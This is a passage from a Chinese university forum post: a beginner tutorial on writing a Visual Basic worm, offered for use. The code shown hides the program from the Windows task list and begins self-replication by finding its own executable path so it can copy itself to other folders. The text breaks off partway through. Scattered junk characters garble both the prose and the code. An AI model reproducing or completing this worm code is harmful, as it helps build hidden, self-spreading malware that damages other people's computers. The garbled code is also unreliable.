马上注册,结交更多好友,享用更多功能,让你轻松玩转闽南师范大学。
您需要 登录 才可以下载或查看,没有账号?立即加入
×
< ># E3 f) F/ z% N
# B& F/ O/ ~- ^: p& |) X9 PVB病毒编写——初学编程者必备</P>+ f( A1 U: U4 z! g4 M: Y" _. `
< >要编写一个蠕虫吗?很简单,只须有基本的编程概念就可以了。如果你没有编程的基本概念,我建议你去学习编程,才读这篇文章。我就在这里教你如何编写一个VB蠕虫吧!</P>
1 a" t: P. H6 O6 R< >打开Visual Basic,选择“Standard EXE”的Project。移除那个Form,然后加入一个Module。点击Project-> roject1 Properties。在弹出来的窗口中,把Startup Object改为“Sub Main”。在Module中,键入以下的编码:</P>2 @9 g7 Q9 c9 L8 H
< >Sub Main()
* N7 w/ |. x0 ^: N- h'TaskVisible的功能是把程序在End Task表中除掉。
1 ?/ u0 K4 j' D* X2 tApp.TaskVisible = False) Y9 ^6 u2 L3 ]+ W% v; ^0 `0 |0 {' o8 U
End Sub</P># i3 L, _* g: L" ^7 {7 J, F+ z4 @
< >以上的编码只是把程序从End Task表中除掉,没什么作用。现在,让这个VB蠕虫自行复制去别的文件夹。在Sub Main中键入以下的编码:</P>
: g1 g$ R( p; P. I9 ^< >'阻止问题发生$ e8 L$ T2 F1 f# K
On Error Resume Next
' R, E" K Q- G+ TDim Location, Location2, DesLocation, DesLocation23 u* {: h; s- e: k
'得到EXE的位置
& t% t9 _3 _! z3 P3 OLocation = App.Path & "\" & App.EXEName & ".exe"0 |: ]+ A! w2 b4 \) D( H
Location2 = App.Path & App.EXEName & ".exe" </P> |